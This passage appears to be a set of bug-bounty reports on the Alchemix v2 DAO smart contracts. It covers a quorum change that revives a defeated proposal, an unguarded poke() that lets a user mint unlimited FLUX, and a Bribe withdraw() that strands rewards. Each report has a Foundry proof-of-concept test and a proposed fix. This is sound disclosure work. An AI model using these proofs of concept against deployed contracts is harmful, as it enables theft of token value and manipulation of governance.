  [PASS] testPoC() (gas: 2013285)
  Logs:
    Initial Voting Power:  63473899543378978660812
    Initial Quorum:        92037551049771679068955
    Final Voting Power:    62597183155758481682946
    Final Quorum:          49921468744534494597083

  Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.70ms

  Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

```

#### Analysis of the Result

In the test logs, you can see the following key points:

1. Initial Voting Power vs Quorum:
   * Initial Voting Power: `63473899543378978660812`
   * Initial Quorum: `92037551049771679068955`
   * Can clearly see `Voting Power` < `Quorum`.
2. Voting on Proposal:
   * Proposal created and voted on.
   * Initial attempt to execute fails due to not meeting quorum.
3. Updating Quorum:
   * Quorum numerator is updated from 20% to 11%.
4. Final Voting Power vs New Quorum:
   * Final Voting Power: `62597183155758481682946`
   * Final Quorum: `49921468744534494597083`
   * Can clearly see, `Voting Power` > `Quorum` now for same past proposal.
5. Executing Past Proposal:
   * The past proposal, initially defeated due to lack of quorum, now meets the new quorum and is executed successfully.

This demonstrates the vulnerability where reducing the quorum can make previously defeated proposals executable, posing a significant governance risk.


# 31375 - \[SC - Critical] Lack of Access control in poke function allows ...

Submitted on May 17th 2024 at 17:45:04 UTC by @hulkvision for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31375

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* A user can mint unlimited flux token breaking the invariant `A user should never be able to claim more rewards than they have earned`

## Description

## Brief/Intro

Lack of Access control in `poke()` function allows unlimited accrual of flux token thus breaking assumed invariants set by the team.

## Vulnerability Details

In `Voter.sol` users can perform action like vote, reset or poke , when these actions are performed an external call to `FluxToken.sol` `accrueFlux` function is called which accrue unclaimed flux for a given veALCX . While `vote` and `reset` function had modifier called `onlyNewEpoch` which prevented calling `accrueFlux` function multiple times in an epoch. `poke` function was also calling `accrueFlux` function but in this function no access control modifier `onlyNewEpoch` was used which allowed this function to be called multiple time in an epoch.

In `Voter.sol`

```solidity
function poke(uint256 _tokenId) public {
    //...//
        _vote(_tokenId, _poolVote, _weights, _boost); //internal _vote is called 
    }
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
      //...
        IFluxToken(FLUX).accrueFlux(_tokenId);  // flux is accrued here
        uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);
}
```

## Impact Details

* This vulnerability is breaking a invariant set by the team , as a user can accrue unlimited flux, they can use the accrued flux to boost their voting power each epoch thus getting more voting power than they should have.

> A user should never be able to vote with more power than they have

* A user can mint unlimited flux token and can unlock their escrowed position at any time they want even before then are supposed to unlock or can sell those flux token in the marketplace
* Due to unlimited supply of flux token the value of flux token will drop significantly.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195-211> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L423>

## Possible fix

```diff
+ bool public hasPoked; // create a state variable
function poke(uint256 _tokenId) public {
+      hasPoked = true;
        uint256 _boost = 0;

        //...//

        _vote(_tokenId, _poolVote, _weights, _boost);
+      hasPoked = false;
    }
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
        //.../
+        if (!hasPoked) { // when poke is called flux accrual will not happen.
+           IFluxToken(FLUX).accrueFlux(_tokenId); 
+        }
        //...//
}
```

## Proof of Concept

* Add this function to `src/test/Voting.t.sol` and run the test `forge test --mt testPocAccrueFluxMultipleTimes --rpc-url $RPC_URL -vvvv`

```
function testPocAccrueFluxMultipleTimes() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, true);
        address[] memory pools = new address[](1);
        pools[0] = alETHPool;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        hevm.startPrank(admin);
        voter.vote(tokenId, pools, weights, 0);
        voter.poke(tokenId); // 1st time
        console.log("unclaimed flux balance",flux.getUnclaimedFlux(tokenId));
        voter.poke(tokenId); // 2nd time
        uint256 unclaimedFlux_1 = flux.getUnclaimedFlux(tokenId);
        voter.poke(tokenId); // 3rd time
        uint256 unclaimedFlux_2 = flux.getUnclaimedFlux(tokenId);
        console.log("increased flux balance",flux.getUnclaimedFlux(tokenId));
        assertGt(unclaimedFlux_2,unclaimedFlux_1);
    }
```


# 31377 - \[SC - Critical] Stucked yield tokens upon withdrawal of votes f...

Submitted on May 17th 2024 at 18:16:22 UTC by @Saediek for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31377

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

## Brief/Intro

The withdraw() method in the Bribe contract doesn't update the totalVoting if a staker/voter decides to withdraw his/her stake this would lead to a scenario where a percentage of rewardToken meant for the staker that withdraws his/her tokens gets stucked in the pool instead of distributing it among other participants.

## Vulnerability Details

Stucked rewards tokens upon withdrawal of votes from Bribe contract. The Bribe module is an essential part of the whole system it mainly functions as a distributor for reward tokens to voters for a particular guage and it accounts for votes per epoch,reward tokens per epoch among so many other things. In the CONTRACT.md it says and i quote "the total amount of bribe b on pool p claimable by a veALCX NFT with token-ID i during a given epoch n is equal to the proportion of total veALCX power that that NFT used to vote on pool \`p",which translates to BribePerNFT(n)=(NFTVoteAmount(n)\*REWARDS)/TotalVotes(n)(where BribePerNFT refers to the amount of bribe a tokenId is expected to receive).This equation doesn't always hold and i would prove it to you with an illustration.Lets say we have 5 entities or voters(A,B,C,D,E) at the current epoch they all hold 20 votes each and all of them wagered their votes on the guage so according to the Guage Bribe the totalVotes =100 and each entity has a 20% stake on the rewardTokens for that epoch but towards the end of that epoch A decides to withdraw from the votes so there are four stakers left which implies that each staker should be entitled to 25% of the totalRewards for that epoch,but this isn't true because whenever a withdrawal occurs the totalVote isn't deducted and the bribes Owed to a tokenId=votes/totalVotes \*rewardTokens which means the bribes owed to each entity remains 20% each and since there are 4 entities left it sums up to 80% and the remaining 20% remains unclaimable and stuck in the pool forever and ever.

The bug is spotted in the deposit method: whenever a deposit is made the totalVoting variable is increased and whenever a withdrawal is made the totalVoting variable should also be decreased. ##Code Snippet function deposit(uint256 amount, uint256 tokenId) external { require(msg.sender == voter);

```
    totalSupply += amount;
    balanceOf[tokenId] += amount;

    totalVoting += amount;

    _writeCheckpoint(tokenId, balanceOf[tokenId]);
    _writeSupplyCheckpoint();
    _writeVotingCheckpoint();

    emit Deposit(msg.sender, tokenId, amount);
}
```

function withdraw(uint256 amount, uint256 tokenId) external { require(msg.sender == voter);

```
    totalSupply -= amount;
    balanceOf[tokenId] -= amount;

    _writeCheckpoint(tokenId, balanceOf[tokenId]);
    _writeSupplyCheckpoint();

    emit Withdraw(msg.sender, tokenId, amount);
}
```

but the totalVoting isn't decreased in withdraw() which means totalVoting before and after withdrawal would always stay the same but since the newVoting power is less than totalVoting the portion of rewards previously entitled to the user who withdrew his/her tokens are stucked in the pool.

## Impact Details

The ripple effect of this issue is that a portion of reward tokens whenever a withdrawal occurs would be lost in the bribe contract forever.

## References

Withdraw():\[<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L319>] ##Recommendation: Modify the withdraw method from : function withdraw(uint256 amount, uint256 tokenId) external { require(msg.sender == voter);

```
    totalSupply -= amount;
    balanceOf[tokenId] -= amount;

    _writeCheckpoint(tokenId, balanceOf[tokenId]);
    _writeSupplyCheckpoint();

    emit Withdraw(msg.sender, tokenId, amount);
}
```

to: function withdraw(uint256 amount, uint256 tokenId) external { require(msg.sender == voter);

```
    totalSupply -= amount;
     balanceOf[tokenId] -= amount;
    _writeVotingCheckpoint();
       totalVoting-=amount;
    _writeCheckpoint(tokenId, balanceOf[tokenId]);
    _writeSupplyCheckpoint();

    emit Withdraw(msg.sender, tokenId, amount);
}
```

And also they should be a recovery mode for cases where all the voters withdraw their votes so that rewardTokens wouldn't just get lost in the pool.

## Proof of Concept

//SPDX-License-Identifier:UNLICENSED //@author:<Saediek@proton.me> /\*\*

* Steps to run file
* Create a file called {file}.t.sol in the test directory of the alchemix-v2-dao directory
* Paste code in the newly created file
* create a remappings.txt in your root directory.
* paste the following
* foundry-libs/=alchemix/lib/forge-std/src
* alchemix/=src/
* openzeppelin/=lib/openzeppelin-contracts/ \*/ pragma solidity ^0.8; import "foundry-libs/Test.sol"; import { Bribe } from "alchemix/Bribe.sol"; import "openzeppelin/contracts/token/ERC20/ERC20.sol";

contract BribeTest is Test { /\*\* \*Addres of the users or voters \*/

```
address private bob = makeAddr("BOB");
address private ryan = makeAddr("RYAN");
address private alice = makeAddr("ALICE");
address private sarah = makeAddr("SALAH");
address private daniel = makeAddr("DANIEL");
//The mock voter contract represents the Voter contract.
MockVoter private voter;
//The Bribe contract
Bribe private bribe;
//An allowed ERC20 token.
MockRewardToken rewardToken;

modifier onlyVoter() {
    vm.startPrank(address(voter));
    _;
    vm.stopPrank();
}

/**
 *Deploy all necessary contracts
 */
constructor() {
    rewardToken = new MockRewardToken();
    voter = new MockVoter(address(new veALCX()));
    bribe = new Bribe(address(voter));
    //Issue 100e18 of the reward token to adress(this) so that address(this)
    //could call {notifyRewardAmount depositing the reward Tokens}
    rewardToken.mint(address(this), 100e18);
    rewardToken.approve(address(bribe), 100e18);
}

/**
 * This test is meant to illustrate a scenario whereby a voter that casts
 * his vote for a guage choose to withdraw it and the amount previously allocated
 * to the staker is stucked in the pool instead of being distributed to the other stakers
 * It also breaks the equation which states that [amountOwedToTokenId(n)=voteCastedByTokenId(n)*rewardsPerEpoch(n)/totalVotes]
 * The issue is solely caused due to totalVoting not deducted at withdrawals of votes
 * I am also exploring the possibilty that if all the voters withdraws the rewardsAmount for that epoch is loast forever
 */
function testStuckTokensForWithdrawal() external {
    //The time is kinda random
    vm.warp(1715861236);
    uint256 startOfCurrentEpoch = bribe.getEpochStart(block.timestamp);
    console.log("Start-time of current epoch:[%s]", startOfCurrentEpoch);
    //Reward tokens are deposited for the currentEpoch
    bribe.notifyRewardAmount(address(rewardToken), 100e18);
    console.log("Amount deposited to bribe-contract:[%s]", rewardToken.balanceOf(address(bribe)));
    /**
   * Five of the stakers which holds equal voting power of 20 Votes decided to vote for a guage
   *and after sometime a particular staker[bob] decides for some reason that he is going to withdraw his vote || uncast his vote
   *This should also imply that bob is not entitled to a portion of the rewardAmount for that epoch and also means distribution of the rewardTokens should 
   *be shared among the other four stakers which means they should all hold 25% of the totalReward after bob's withdrawal but this isn't so 
   *because the totakVoting is not updated after bobs withdrawal so the  real-voting-power[80 i.e 20 per user] is not equal to the totalVotingPower which stays 
   *the same [100]
   
   */
    _vote(alice, 20);
    _vote(daniel, 20);
    _vote(bob, 20);
    _vote(sarah, 20);
    _vote(ryan, 20);
    assertEq(100, bribe.totalVoting());
    //bob pulls out his votes
    _resetVote(bob, 20);
    //@notice the totalVoting doesn't change after bobs out
    assertEq(100, bribe.totalVoting());
    //fast forward to the next epoch
    //when the rewards are claimable
    vm.warp(block.timestamp + 2 weeks);
    //since bob withdrew alice is entitled to 25% of the whole rewards
    _claimRewards(alice);
    _claimRewards(ryan);
    _claimRewards(daniel);
    _claimRewards(sarah);
    assertEq(20e18, rewardToken.balanceOf(address(bribe)));
    //and bob can't also claim those tokens..
    //if he tries the call reverts which is expected but this means bob's former share is stucked in the pool forever.
    vm.expectRevert("no rewards to claim");
    _claimRewards(bob);
}

/**
 * Helper for casting an amount of votes in  the bribe contract
 * @param _user Owner of tokenId
 * @param _amount  the amount of votes to withdraw
 */
function _vote(address _user, uint256 _amount) internal {
    vm.startPrank(address(voter));
    bribe.deposit(_amount, uint256(uint160(_user)));
    vm.stopPrank();
}

/**
 * Helper for withdrawing an amount of votes from the bribe contract
 * @param _user Owner of tokenId
 * @param _amount  the amount of votes to withdraw
 */
function _resetVote(address _user, uint256 _amount) internal {
    vm.startPrank(address(voter));
    bribe.withdraw(_amount, uint256(uint160(_user)));
    vm.stopPrank();
}

/**
 *helper function to claim rewardToken for the previous epoch
 * @param _user  The owner of the tokenId
 */
function _claimRewards(address _user) internal {
    vm.startPrank(address(voter));
    uint256 _tokenId = _getTokenId(_user);
    address[] memory _tokens = new address[](1);
    _tokens[0] = address(rewardToken);
    bribe.getRewardForOwner(_tokenId, _tokens);
    vm.stopPrank();
}

function _getTokenId(address _user) internal pure returns (uint256 _tokenId) {
    _tokenId = uint256(uint160(_user));
}
```

}

contract MockVoter { address public veALCX;

```
constructor(address _token) {
    veALCX = _token;
}

function isWhitelisted(address) external pure returns (bool) {
    return true;
}
```

} //Mock contract for the veALCX contract to represent the owner of token by the address contract veALCX { function ownerOf(uint256 \_tokenId) external view returns (address) { return address(uint160(\_tokenId)); } } //Mock ERC20 contract which serves as reward tokens contract MockRewardToken is ERC20 { constructor() ERC20("MOCK-TOKEN", "MCK") {}

```
function mint(address _target, uint256 _amount) external {
    _mint(_target, _amount);
}
```

}




---

[Next Page](/llms-full.txt/1)

